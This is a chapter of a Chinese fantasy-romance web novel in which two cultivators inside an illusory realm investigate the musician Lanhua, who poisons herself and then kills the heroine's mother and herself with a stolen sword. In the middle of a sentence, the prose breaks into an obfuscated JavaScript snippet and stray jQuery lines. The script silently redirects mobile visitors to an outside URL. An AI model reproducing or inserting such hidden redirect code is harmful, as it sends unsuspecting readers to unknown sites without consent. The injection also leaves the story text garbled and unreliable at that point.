时间停止回溯,拂煜醉倒在酒馆,被找来的苑木筱泠带回了府。
应璇踱着步子跟在身后,与晏晦明保持着不远不近的距离。
他方才说了那样震天撼地的奇怪话,应璇时不时瞥他一眼,心绪不宁地抱臂咀嚼着他话里的深意。
苑木筱泠照顾好拂煜睡下,才招呼着丫鬟端来几盘零嘴,领着两个孩子去亭子里享用,她注意到应璇耷拉的眼眸,“荧荧,你怎么闷闷不乐的样子?”
应璇回过神,盯着她柔情似水的眼睛,心里闷堵的话一句也说不出口。
算了,当务之急是拿到碧苍石。
她正襟危坐,摆出乖巧懂事的模样,“娘亲,你与澜花姑娘是怎么认识的?”
“你怎会知道她?”苑木筱泠眼中不掩意外。
应璇夸大其词套她话,“我在街上找爹爹时,他说要把澜花姑娘赶走,还说一些责怪自己的话。”
苑木筱泠敛下眼,对他醉酒的行为有了定论,“原来如此。”
见女儿睁着圆眼好奇,她娓娓道来,“苑木家的祖传医籍有一页被撕去了一半,我为寻得缺失的那几门草药,远走游历,在路上遇到受伤的澜花,那时她借妖术作怪,被道士追杀,我将人拦下,并承诺会劝诫好她,于是带她回府休息过一阵,教她识字乐理,教她书写绘画,那时她乐此不疲,聪明且学得很快,不到半年就像个闺阁女子,颇有风范。”
“后来南方疫病,死伤无数,我急于救人,便留她一人在家中继续学习,独自南下,在那遇到了你父亲,我们相识相知相爱,很快便有了你。我数月未归,澜花有心寻我,便偷跑出来找过我一次。那时你父亲已准备退隐,正要交接家族事务,我们先一步来到抚匀镇寻住处。我与拂煜已私自谈婚论嫁,澜花并不愿我嫁他,偷偷将消息传回苑木,你外公知晓后勃然大怒,即将传信召我回姑射山。”
“我自是不肯回去,他以断绝关系为要挟,我们开启了长达几个月的拉锯战。澜花自知亏欠,与我道歉,决心留下来照顾我,她不愿住进府邸,便请我为她寻了个在兰音楼弹琵琶的差事。”
她话停至此,面色变得不自然,自圆其说道:“你父亲许是记了她告密的仇,所以才不喜她,她没有亲人,将我视作唯一的亲人,今日团圆日,我想借着中秋家宴的机会让她住进来。”
“如你所说,你父亲怕是要生我的气了。”
应璇沉思了会,想必澜花住进府,就是后来发生的一切的引子。
“娘亲,若我告诉你,她进入府内,可能会导致你——”应璇顿了顿,如实说:“死去,你还会这么做吗?”
她语气脆生生,“我是认真的,不是开玩笑。”
苑木筱泠的笑容戛然而止,眼中悲悯不减,言简意赅,“会。”
她温情地抚摸她发顶,微笑着说:“我是医者,从来不畏救人,更不畏以命抵之。若我见众生哀鸣,却熟视无睹,那么我这一身本事便一无是处。”
“人终究会死,起码我所做的一切,没有辜负我秉持的信念,那么,道之所向,我顺命而为。”
应璇为她的所言撼动,愈发吃不下东西。
如今苑木筱泠、拂煜各执一词,各有各的理,她反而失了突破口。
晏晦明凝着她忧思的侧脸,“你有没有发现,澜花这次并没有被张员外强抢。”
他的话将应璇的思绪拉回来,“是啊。”
“说明你父亲的心理已经有了微妙的变化。”晏晦明点她,“与其去强行打开,让他直面心结,不如让他心中的‘罪魁祸首’亲口坦白。”
他说得在理,应璇不再纠结,和苑木筱泠请示,“娘亲,我与他出去玩一会儿,晚饭前回来。”
两人在应允下出门,对着彼此低矮的个头面面相觑。
“我们能用灵力短暂化作大人的模样吗?”应璇实在是难以再忍受自己这副小小的身躯,“不然怎么光明正大地进去啊?”
她境界不够,眼珠子转溜,主意打到晏晦明身上,双手合十,谄媚十足,“掌门大人,你肯定可以,是吗?”
晏晦明受不了她直勾勾的眼神,别开眼,后仰着提醒她,“只有一炷香时间,不许乱逛乱看。”
应璇四指起势,“我保证。”
他们寻一处无人地,变回大人身,换了身低调的着装,一双人进入兰音楼。
柳大家瞧是两个俏人儿,欢喜地捂面,“二位看戏还是听曲?”
晏晦明阔指尖一沓钱纸前推,阔绰出手,淡声吩咐,“今夜的场子我包了,让澜花下来表演。”
“诶诶诶,没问题。”柳大家清点着手头的银票,笑得不亦乐乎,扭着腰上楼叫人去了。
晏晦明侧目,身旁之人不见踪影,他左右巡视,终于在观众席一角找到她。
她不知从哪顺了盘瓜子端在手中,目光紧盯着台上的几个男伎,那些男伎都生得清瘦高挑,与女子比都不为过,白纱遮面,抱着琴身,弹唱时那弱柳扶风之态,难免不叫女人生出怜悯之心。
晏晦明的嘴角不易察觉地绷直,目色晦暗,提步走到她跟前,借着垂落的长帷遮挡,将她压至柱子上,“我是不是说了,让你不要乱看。”
“我、我没乱看啊。”应璇说得心虚,眼神飘忽,“我是想从他们身上问些澜花的消息。”
晏晦明捏着她下巴,迫使她直视他,“问不出来,你是不是要把他们带回家养着?嗯?”
应璇两颊被他扼着,说话嘟嘟囔囔,“我又不是皇帝,哪里有精力养那么多个男伎。”
晏晦明双眸微压,“所以你是真有这个想法?”
“有又如何,我这不是还没做嘛。”应璇坦荡荡地答。
他的双手侧移到她单边耳后,捧住她半边脸,气得牙痒痒,“你胆子真是越来越大了。”
“仗着在虚境里,以为我没办法,是不是?”
应璇顺着他的话硬气地昂起下巴,“是啊,我们现在是来干正事的,你思想最好放干净一点。”
晏晦明才不管她嘴里的干净不干净是什么意思,他嘴角微动,目光缓缓下移到她唇边,喉结重滚,作势压下来。
“澜花姑娘到!”
数条白绸从天而降,如瀑泼下,缠着仰头的看客的头颈撩拨,应璇听声猛推开身前那堵严实的“墙”,仰头朝中心跑去。
眼前之人轻风般溜走,空余他前俯的唇尝了些凉丝丝的空气。
晏晦明嘲弄地低笑一声,眼底沉光暗显,起身跟上她。
悬顶之上,花瓣纷飞,澜花戴着斜遮半张脸的面纱,珠光粼粼,怀里抱着疲惫,脚踝上戴着一串小铃铛,泠泠脆响水波般泛开。
哪怕是还未正式弹奏,众人的心便已被深深勾住了。
她单脚点地,旋身落在椅子中,垂首沉眼,指尖灵活地在弦身上跳跃,曲调悠扬,甚至轻快雀跃,精心听着竟有种陷入甜言蜜语和骐骥中的快意。
“宵同梦,晓同妆,镜里花容并蒂芳,深闺步步相随唱。”
澜花起声转调,原本忧伤的眼里都不免有了欣快感。
然而,周围的听客却不满地抱怨起来。
“怎么又是这首啊。”
“天天唱还没唱腻吗?”
“我们日日在此消遣,柳大家竟半点不将我们的提议放在心里。我们要听其他曲子!”
一有人带头,群起而攻之,个个都举拳高喊要换曲。
应璇头一回听这曲,只觉心中甜蜜,他们怎么还不爱听了。
眼见场子闹哄哄得要垮台,应璇一身莽气,手不由自己地拽上一个声响最大的客人,晏晦明忙把她扯到身侧,“你做什么?”
应璇咕哝着,“我就是看不惯他们闹事。”
晏晦明引着她望向台上的澜花,无论下边多喧闹,她依然自顾唱着她那一句话,他面色凝滞,“我们可能想错了。”
“什么?”人声嘈杂,应璇听不清他的话。
晏晦明却觉察到了什么似,连往台上赶,“不好。”
澜花笑眼灿烂,如迎朝阳,将那一句唱破杂声,高声震耳,众人皆屏声一刹,只见她起身一僵,扯开面纱,仰天大笑,突地口吐鲜血,倒地不起。
一时间人走凳倒,尖叫不断。
唯有应璇惶然跟上他,然而,已来不及了,澜花胸口剧烈起伏着,血大口涌吐而出。
晏晦明并指起势,施法用灵力封住她体内蔓延的毒,“你做什么?”
楼内的人群哄散逃离,柳大家一边惊慌逃跑,一边指着他们说:“凶手,他们就是凶手。”
最后只剩下几个躲在一旁吓得腿软了跑不动了的乐师。
毒素停滞,澜花冷哂,“既然被你看出来了,那我也没什么好掩饰的了。”
晏晦明回头瞧应璇一眼,“去把你父母叫来。”
应璇点头要走,双腿蓦然被一道力捆束住,妖艳的红色妖气缠在她脚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17671786|203465||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
踝,澜花一手扼住她,语气中满是激怒之意,“是我间接导致你娘的死亡,你不恨我吗?你很恨我吧,杀了我。”
“你、你也进来了?”应璇后知后觉回想起前几次回溯时,澜花的反应,提前预料般敲晕他们,不自然的表情,一切都说得通了。
她开始摸不透澜花的真实意图。
偷偷随他们一同进入,却又在回溯停止后服毒寻死,意识到了自己的错误愧疚自责?
似乎并没有那么简单。
晏晦明并指正要砍断绞住应璇的妖力,门外猝地闯进一个同样脚步匆忙的女子。
“澜花!”苑木筱泠冲上前,扯出腰间的鞭子便朝晏晦明和冷翘二人挥去。
她瞧着瘦弱,鞭子迎面挥来时的杀力却震慑人心,两人侧身倒开躲掉鞭打,应璇看清她,大喊道:“娘,是我啊。”
苑木筱泠清冷的眼锋多了分迟疑,转而定睛一看,那张与她相似度近百的面庞,哑声一息,“你是……荧荧?”
应璇求生本能,快频点着下巴。
苑木筱泠上前拉起她,“你怎么变大了?”
“说来话长,娘,你还是先看看她吧。”应璇指向奄奄一息的澜花。
她正在强行冲开晏晦明的封印,一心求死。
苑木筱泠半跪在地,躬身将她扶起来,眼底怜惜不已,“你这又是何苦呢?”
血气再度翻上喉间,澜花尝到甜腥的滋味,泪从眼角滑落,“你不该救我……救我时候说好了要一辈子一起……你背叛我……你不、信守承诺,我恨你……”
她的气提不上来,断断续续地埋怨着身前的女人,泪却如泉眼,源源不断地砸在她手背,苑木筱泠一知半解,抱歉道:“我这一年的确忽略了你的感受,但我从来没有做过对不起你的事,我以后定日日来见你,陪你,可好?”
“筱泠……你真笨。”血泪交融在下颌,澜花了无生意地闭上眼,用尽气力唱起那句,“宵同梦,晓同妆,镜里花容并蒂芳,深闺步步相随唱……”
她唱着唱着,声线越发虚弱低迷。
一道红光从她身上飞出,以掩耳之势绕到应璇身后,隐匿的青苒被拔出,应璇还未反应过来,长剑便落进了澜花手里,她使力抬起剑身,环住了苑木筱泠。
应璇总算意识到不对,连声呼唤“青苒”控剑。
然怨气超脱剑意,就连剑的主人竟也无法将剑收回。
拂煜情急奔来之时,就见澜花抵力往前一靠,与苑木筱泠紧密相拥,冷眼凝着拂煜,轻声在她耳边说:“是我不对,我不该让你走,才有机会让你爱上这个男人,我们再也不会分开了。”
长剑高抬,毫不犹豫地扎入她的背脊,在她仰身之际,狠力往前一推,剑端穿透澜花的心腔。
“不——”拂煜睚眦欲裂,吼声穿破天际,虚境又复天崩地裂。
自刎的二人化作一团交缠虚气,渐渐散入空中,往高空隐去。
那曲儿的后半句哀凄地绕梁,“从今世世相依傍,轮流作凤凰,颠倒偕鸾帐。”
如心脏般缩放闪烁的碧苍石骤然出现,应璇茫然伸出手去触,那荧绿色的光芒顿时高速地震动起来,一头扎进她胸口。
虚境如镜裂般碎开,将他们甩出去。
如潮的记忆在脑子里膨胀开,应璇摔落在地,头痛欲裂,无法言说的钻心疼感从口齿里溢出来,“啊——”
“应璇!”晏晦明撑身扶她,轻手轻脚把人收入怀中,下巴轻抵着她发烫的额心,“一会儿就好了。”
记忆过载彻底压垮她的弦线,一晃而过的片段,痛骂、淬刑……无所不用其极地用在她身上,应璇彻底把脸埋入他胸膛,指尖陷进去,声音委屈到极点,“有人在打我……”
湿黏的水液不知是眼泪还是什么,将他的衣衫浸湿,晏晦明一遍遍扶过她战栗的后脑,“有我在,不会有任何人伤害你。”
许是惊惧已然超过了阈值,应璇回搂住他的腰身,严丝合缝地拥住他,哭声撼动心腔,她像是抓住了救命稻草,“你喜欢我吗?”
晏晦明答得干脆利落,演练了数次的台词终究有了用武之地,“喜欢……”
应璇抽噎着,唇边笨拙地贴上他喉结紧张滑动的颈部,“喜欢我这件事,你永远都不能半途而废。”
“不然,我会……”
她声弱下来,后仰晕厥过去。
晏晦明贴着她唇齿,到底还是没听全完整的一句。